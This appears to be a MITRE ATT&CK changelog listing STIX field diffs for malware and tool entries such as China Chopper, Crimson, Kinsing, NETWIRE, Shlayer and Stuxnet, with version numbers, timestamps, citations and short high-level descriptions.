| > | : Dell TG-3390) (Citation: FireEye Periscope March 2018) | > | : Dell TG-3390) (Citation: FireEye Periscope March 2018)(Cit | ||
| > | ation: CISA AA21-200A APT40 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 19:53:58.719000+00:00 | 2021-10-17 14:30:11.979000+00:00 |
| description | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021) |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA AA21-200A APT40 July 2021', 'description': 'CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-200a'} |
Current version: 1.7
Version changed from: 1.6 → 1.7
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 23:29:30.707000+00:00 | 2021-10-18 20:08:21.958000+00:00 |
| x_mitre_version | 1.6 | 1.7 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 02:50:43.404000+00:00 | 2021-06-21 21:05:27.228000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is malwar | t | 1 | [Crimson](https://attack.mitre.org/software/S0115) is a remo |
| > | e used as part of a campaign known as Operation Transparent | > | te access Trojan that has been used by [Transparent Tribe](h | ||
| > | Tribe that targeted Indian diplomatic and military victims. | > | ttps://attack.mitre.org/groups/G0134) since at least 2016.(C | ||
| > | (Citation: Proofpoint Operation Transparent Tribe March 2016 | > | itation: Proofpoint Operation Transparent Tribe March 2016)( | ||
| > | ) | > | Citation: Kaspersky Transparent Tribe August 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:25:59.334000+00:00 | 2021-10-15 18:54:53.268000+00:00 |
| description | [Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016) | [Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020) |
| external_references[1]['source_name'] | Proofpoint Operation Transparent Tribe March 2016 | MSIL/Crimson |
| external_references[1]['description'] | Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016. | (Citation: Proofpoint Operation Transparent Tribe March 2016) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Proofpoint Operation Transparent Tribe March 2016', 'description': 'Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.', 'url': 'https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf'} | |
| external_references | {'source_name': 'Kaspersky Transparent Tribe August 2020', 'description': 'Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.', 'url': 'https://securelist.com/transparent-tribe-part-1/98127/'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 22:06:49.021000+00:00 | 2021-08-18 23:44:04.697000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 17:06:41.399000+00:00 | 2021-08-09 14:21:48.477000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-09 14:53:15.168000+00:00 | 2021-08-11 14:58:57.587000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:08:00.074000+00:00 | 2021-10-16 01:45:28.826000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 12:51:56.886000+00:00 | 2021-10-16 01:49:39.189000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 22:20:17.889000+00:00 | 2021-10-07 16:02:38.320000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:55:01.985000+00:00 | 2021-10-17 14:35:31.022000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kinsing](https://attack.mitre.org/software/S0599) is Golang | t | 1 | [Kinsing](https://attack.mitre.org/software/S0599) is Golang |
| > | -based malware that runs a cryptocurrency miner and attempts | > | -based malware that runs a cryptocurrency miner and attempts | ||
| > | to spread itself to other hosts in the victim environment. | > | to spread itself to other hosts in the victim environment. | ||
| > | (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing | > | (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing | ||
| > | November 2020) | > | November 2020)(Citation: Aqua Security Cloud Native Threat | ||
| > | Report June 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-12 12:49:39.027000+00:00 | 2021-08-26 16:39:07.873000+00:00 |
| description | [Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020) | [Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Aqua Security Cloud Native Threat Report June 2021', 'description': 'Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.', 'url': 'https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-11-23 18:34:49.979000+00:00 | 2021-10-15 16:56:52.156000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-01 20:55:31.256000+00:00 | 2021-10-12 16:31:13.272000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-17 15:53:21.249000+00:00 | 2021-10-01 20:33:55.926000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 18:35:15.941000+00:00 | 2021-08-18 23:46:05.071000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:03:42.864000+00:00 | 2021-10-15 16:57:34.776000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 15:10:55.563000+00:00 | 2021-05-20 14:25:59.596000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-23 15:19:58.668000+00:00 | 2021-10-14 21:21:51.872000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ | t | 1 | [NETWIRE](https://attack.mitre.org/software/S0198) is a publ |
| > | icly available, multiplatform remote administration tool (RA | > | icly available, multiplatform remote administration tool (RA | ||
| > | T) that has been used by criminal and APT groups since at le | > | T) that has been used by criminal and APT groups since at le | ||
| > | ast 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAf | > | ast 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfe | ||
| > | ee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2 | > | e Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 201 | ||
| > | 017) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-25 23:47:00.562000+00:00 | 2021-10-12 11:21:09.567000+00:00 |
| description | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017) | [NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017) |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 20:17:30.467000+00:00 | 2021-10-15 20:33:54.392000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-04-22 19:06:17.325000+00:00 | 2021-10-07 16:41:18.760000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a | t | 1 | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a |
| > | Trojan designed to install adware on macOS. It was first dis | > | Trojan designed to install adware on macOS that was first di | ||
| > | covered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Ci | > | scovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(C | ||
| > | tation: Intego Shlayer Feb 2018) | > | itation: Intego Shlayer Feb 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:57.777000+00:00 | 2021-10-16 20:44:20.719000+00:00 |
| description | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) | [OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018) |
| external_references[2]['source_name'] | Crossrider | Zshlayer |
| external_references[2]['description'] | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) | (Citation: sentinelone shlayer to zshlayer) |
| external_references[3]['source_name'] | Carbon Black Shlayer Feb 2019 | Crossrider |
| external_references[3]['description'] | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. | (Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018) |
| external_references[4]['source_name'] | Intego Shlayer Feb 2018 | Carbon Black Shlayer Feb 2019 |
| external_references[4]['description'] | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. | Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. |
| external_references[4]['url'] | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ | https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/ |
| external_references[5]['source_name'] | Intego Shlayer Apr 2018 | Intego Shlayer Feb 2018 |
| external_references[5]['description'] | Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019. | Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019. |
| external_references[5]['url'] | https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/ | https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/ |
| external_references[6]['source_name'] | Malwarebytes Crossrider Apr 2018 | sentinelone shlayer to zshlayer |
| external_references[6]['description'] | Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019. | Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021. |
| external_references[6]['url'] | https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/ | https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/ |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Intego Shlayer Apr 2018', 'description': 'Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.', 'url': 'https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/'} | |
| external_references | {'source_name': 'Malwarebytes Crossrider Apr 2018', 'description': 'Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/'} | |
| x_mitre_aliases | Zshlayer |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-02 15:04:45.553000+00:00 | 2021-10-15 01:59:21.279000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 03:01:04.725000+00:00 | 2021-06-17 19:03:17.306000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-06 19:32:28.390000+00:00 | 2021-10-16 01:58:17.100000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 14:00:16.093000+00:00 | 2021-10-05 01:24:41.497000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Janantha Marasinghe'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 19:20:27.565000+00:00 | 2021-06-24 13:47:24.660000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:39:15.210000+00:00 | 2021-06-22 13:57:03.434000+00:00 |
| external_references[2]['description'] | (Citation: TrendMicro Patchwork Dec 2017) | (Citation: TrendMicro Patchwork Dec 2017)(Citation: Securelist APT10 March 2021) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Securelist APT10 March 2021', 'description': 'GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.', 'url': 'https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-06 14:42:52.993000+00:00 | 2021-08-18 19:38:51.122000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:26:05.875000+00:00 | 2021-09-10 18:59:39.228000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 21:34:42.810000+00:00 | 2021-08-18 19:31:22.741000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-24 22:36:06.030000+00:00 | 2021-10-18 15:01:16.538000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-28 21:12:01.371000+00:00 | 2021-08-18 23:48:44.783000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 22:03:52.327000+00:00 | 2021-08-18 23:49:01.615000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:17:52.697000+00:00 | 2021-09-08 19:22:44.438000+00:00 |
| external_references[2]['description'] | Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. | Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 21:28:09.905000+00:00 | 2021-10-05 01:47:00.880000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:32:20.484000+00:00 | 2021-08-18 23:49:03.468000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-07-31 19:57:28.859000+00:00 | 2021-08-16 17:50:50.307000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:41:43.461000+00:00 | 2021-10-01 17:48:10.492000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Edward Millington |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:22:52.183000+00:00 | 2021-06-21 12:32:12.581000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 15:15:35.182000+00:00 | 2021-06-09 18:58:41.760000+00:00 |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593 | t | 1 | [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593 |
| > | ) is a Remote Access Tool (RAT) used by [Lazarus Group](http | > | ) is a remote access Trojan (RAT) used by North Korean cyber | ||
| > | s://attack.mitre.org/groups/G0032) that was first identified | > | actors that was first identified in August 2020. It is a re | ||
| > | in August 2020. It is a reconnaissance tool--with keyloggin | > | connaissance tool--with keylogging and screen capture functi | ||
| > | g and screen capture functionality--used for information gat | > | onality--used for information gathering on compromised syste | ||
| > | hering on compromised systems.(Citation: CISA EB Aug 2020) | > | ms.(Citation: CISA EB Aug 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 15:25:05.979000+00:00 | 2021-10-15 17:28:32.335000+00:00 |
| description | [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a Remote Access Tool (RAT) used by [Lazarus Group](https://attack.mitre.org/groups/G0032) that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020) | [ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020) |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-27 02:48:00.306000+00:00 | 2021-10-14 21:39:11.008000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 01:52:58.448000+00:00 | 2021-06-09 18:59:27.117000+00:00 |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 00:20:31.733000+00:00 | 2021-10-12 19:21:39.068000+00:00 |
| external_references[2]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-08-23 20:25:18.606000+00:00 |
| external_references[2]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:33:42.533000+00:00 | 2021-10-15 06:31:19.173000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:41:33.050000+00:00 | 2021-06-16 15:50:05.015000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
Current version: 1.0
Description: [BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-20 16:01:19.142000+00:00 | 2021-09-20 13:50:01.923000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 15:40:36.215000+00:00 | 2021-09-20 13:54:19.819000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-21 15:30:39.236000+00:00 | 2021-09-24 14:52:40.927000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.0
Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 1.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.0
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 1.0
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-06 14:42:52.993000+00:00 | 2021-08-18 19:38:51.122000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-14 21:34:42.810000+00:00 | 2021-08-18 19:31:22.741000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.0
Description: [Bad Rabbit](https://collaborate.mitre.org/attackics/index.php/Software/S0005) is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine. (Citation: ESET Bad Rabbit Oct 2017)
Current version: 1.0
Description: [Conficker](https://collaborate.mitre.org/attackics/index.php/Software/S0012) is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant. (Citation: Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary)
Current version: 1.0
